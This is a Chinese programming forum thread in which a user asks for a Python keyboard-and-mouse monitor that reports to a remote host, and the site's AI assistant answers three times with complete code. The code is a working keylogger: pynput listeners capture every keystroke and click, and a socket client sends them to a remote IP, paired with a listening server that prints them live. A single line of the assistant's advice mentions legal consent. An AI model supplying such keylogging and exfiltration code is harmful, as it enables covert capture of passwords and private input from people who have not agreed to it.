梦有所依丶 发表于 2024-9-27 12:15:27

键盘监控

具体要求:对被监控系统的键盘操作可进行实时的监控,将监视结果发回远程主机进行查看。用python完成
A、 对被监控主机的键盘及鼠标操作进行监控和记录;
B、 可通过网络接口将监控的结果发回到远程主机;
C、 将收到的结果进行有效的实时显示。

FishC 发表于 2024-9-27 12:15:41

实现这一需求需要使用Python中的一些特定库,并确保遵守相关的法律和道德规范。以下是一个基本的实现思路:

### 1. 监控键盘和鼠标
我们可以使用`pynput`库来捕获键盘和鼠标事件。你可以使用以下命令安装这个库:
pip install pynput

下面是一个简单的脚本来记录键盘和鼠标事件:

from pynput import keyboard, mouse
import socket

# 键盘
def on_press(key):
    try:
      print(f'Alphanumeric key pressed: {key.char}')
      send_data(f'Key pressed: {key.char}')
    except AttributeError:
      print(f'Special key pressed: {key}')
      send_data(f'Special key pressed: {key}')

def on_release(key):
    if key == keyboard.Key.esc:
      return False

# 鼠标
def on_click(x, y, button, pressed):
    if pressed:
      print(f'Mouse clicked at ({x}, {y}) with {button}')
      send_data(f'Mouse clicked at ({x}, {y}) with {button}')

# 网络传输
def send_data(data):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.connect(('远程主机IP', 端口号))
      s.sendall(data.encode('utf-8'))

# 启动录制
keyboard_listener = keyboard.Listener(on_press=on_press, on_release=on_release)
mouse_listener = mouse.Listener(on_click=on_click)

keyboard_listener.start()
mouse_listener.start()

keyboard_listener.join()
mouse_listener.join()

### 2. 网络传输
使用Python的`socket`库将捕获的数据发送到远程主机。在上面的示例代码中,`send_data`函数负责将数据通过网络发送。

### 3. 远程主机的接收与显示
在远程主机上,需要一个服务器来接收并显示这些数据。可以使用如下代码:

import socket

def start_server():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.bind(('远程主机IP', 端口号))
      s.listen()
      print('Server is listening...')
      conn, addr = s.accept()
      with conn:
            print(f'Connected by {addr}')
            while True:
                data = conn.recv(1024)
                if not data:
                  break
                print(data.decode('utf-8'))

if __name__ == "__main__":
    start_server()

### 注意事项
1. **法务合规**:在实施键盘监控时,一定要确保合法合规,取得被监控者的许可。这一类操作未经授权是非法的。
2. **性能与安全**:网络传输和实时显示部分需要考虑性能影响和数据安全。

修改示例代码中的`'远程主机IP'`和`端口号`为实际的IP和端口,以确保正确连接。

这只是一个基本结构,具体实现时可能需要更多的优化和补充。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。

鱼C-小师妹 发表于 2024-9-27 16:31:33

远程控制主机有没有什么要求

梦有所依丶 发表于 2024-9-29 09:13:48

FishC 发表于 2024-9-27 12:15
实现这一需求需要使用Python中的一些特定库,并确保遵守相关的法律和道德规范。以下是一个基本的实现思路: ...

远程主机接收时要求实时显示

梦有所依丶 发表于 2024-9-29 09:21:26

FishC 发表于 2024-9-27 12:15
实现这一需求需要使用Python中的一些特定库,并确保遵守相关的法律和道德规范。以下是一个基本的实现思路: ...

远程主机接收时要求实时显示,第二个代码应该如何改动呢?

FishC 发表于 2024-9-29 09:26:45

梦有所依丶 发表于 2024-09-29 09:21
远程主机接收时要求实时显示,第二个代码应该如何改动 ...

要实现远程主机实时接收和显示数据,可以采用一个简单的Socket服务器,直接在接收到数据后即时打印。这是一个更优化和详细的例子:

### 远程主机的接收与实时显示
import socket

def start_server():
    host = '远程主机IP'# 替换为实际的IP
    port = 端口号         # 替换为实际的端口号

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.bind((host, port))
      s.listen()
      print('Server is listening...')
      
      while True:
            conn, addr = s.accept()
            with conn:
                print(f'Connected by {addr}')
                while True:
                  data = conn.recv(1024)
                  if not data:
                        break
                  # 实时显示接收到的数据
                  print(data.decode('utf-8'))

if __name__ == "__main__":
    start_server()

这个服务器脚本在接收到数据后会立即打印,以实现实时显示。确保替换 `'远程主机IP'` 和 `端口号` 为实际的IP和端口。

### 完整流程
1. 在远程主机上运行上述服务器脚本。
2. 在被监控的机器上运行以下脚本来捕获键盘和鼠标事件,并通过网络发送:

from pynput import keyboard, mouse
import socket

def on_press(key):
    try:
      send_data(f'Key pressed: {key.char}')
    except AttributeError:
      send_data(f'Special key pressed: {key}')

def on_release(key):
    if key == keyboard.Key.esc:
      return False

def on_click(x, y, button, pressed):
    if pressed:
      send_data(f'Mouse clicked at ({x}, {y}) with {button}')

def send_data(data):
    host = '远程主机IP'# 替换为实际的IP
    port = 端口号         # 替换为实际的端口号
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.connect((host, port))
      s.sendall(data.encode('utf-8'))

keyboard_listener = keyboard.Listener(on_press=on_press, on_release=on_release)
mouse_listener = mouse.Listener(on_click=on_click)

keyboard_listener.start()
mouse_listener.start()

keyboard_listener.join()
mouse_listener.join()

务必确保所有IP和端口配置正确,保证客户端能正确连接到服务器。

### 注意事项
- **网络延迟**:实时性受网络延迟影响,可以在实际应用中优化数据传输的效率。
- **稳定性**:这个示例没有实现复杂的错误处理和重连机制,实际应用中需要增加相关代码。
- **安全性**:在实际部署中需要确保数据传输的安全,例如使用加密传输等。

希望这个示例能够帮助你实现远程键盘与鼠标监控并实时显示结果。如果有更多需求,可能需要进一步优化和扩展代码。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。

FishC 发表于 2024-9-29 09:30:42

梦有所依丶 发表于 2024-09-29 09:13
远程主机接收时要求实时显示

好的,实时显示是指在接收到数据的同时立即输出。我们可以在服务器端实现一个持续监听的功能。下面是一个完整的示例:

### 客户端(监控端)

这是放在被监控主机上的代码,用于捕获键盘和鼠标事件,并通过网络发送到远程服务器:

from pynput import keyboard, mouse
import socket

# 远程服务器的IP地址和端口
REMOTE_HOST = '远程主机IP'
REMOTE_PORT = 端口号

# 键盘事件处理函数
def on_press(key):
    try:
      send_data(f'Key pressed: {key.char}')
    except AttributeError:
      send_data(f'Special key pressed: {key}')

def on_release(key):
    if key == keyboard.Key.esc:
      return False

# 鼠标事件处理函数
def on_click(x, y, button, pressed):
    if pressed:
      send_data(f'Mouse clicked at ({x}, {y}) with {button}')

# 发送数据到远程服务器
def send_data(data):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.connect((REMOTE_HOST, REMOTE_PORT))
      s.sendall(data.encode('utf-8'))

# 启动键盘和鼠标监听
keyboard_listener = keyboard.Listener(on_press=on_press, on_release=on_release)
mouse_listener = mouse.Listener(on_click=on_click)

keyboard_listener.start()
mouse_listener.start()

# 保持主线程运行
keyboard_listener.join()
mouse_listener.join()

### 服务器端(接收端)

这是在远程主机上运行的服务器代码,用于接收并实时显示从客户端发送过来的数据:

import socket

def start_server():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.bind(('远程主机IP', 端口号))
      s.listen()
      print('Server is listening...')
      while True:
            conn, addr = s.accept()
            with conn:
                print(f'Connected by {addr}')
                while True:
                  data = conn.recv(1024)
                  if not data:
                        break
                  print(data.decode('utf-8'))

if __name__ == "__main__":
    start_server()

### 注意事项

1. **网络配置**:确保远程主机的IP和端口可达,并且防火墙允许相关流量。
2. **合规与安全**:确保所有操作均得到合法授权,并对数据进行保护以防止敏感信息泄露。
3. **优化与扩展**:实际应用时可能需要对代码进行优化,处理潜在的异常和错误。

把上面的代码中`'远程主机IP'`和`端口号`替换为实际的IP和端口,然后分别在监控端和接收端运行即可实现实时显示。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
页: [1]
查看完整版本: 键盘监控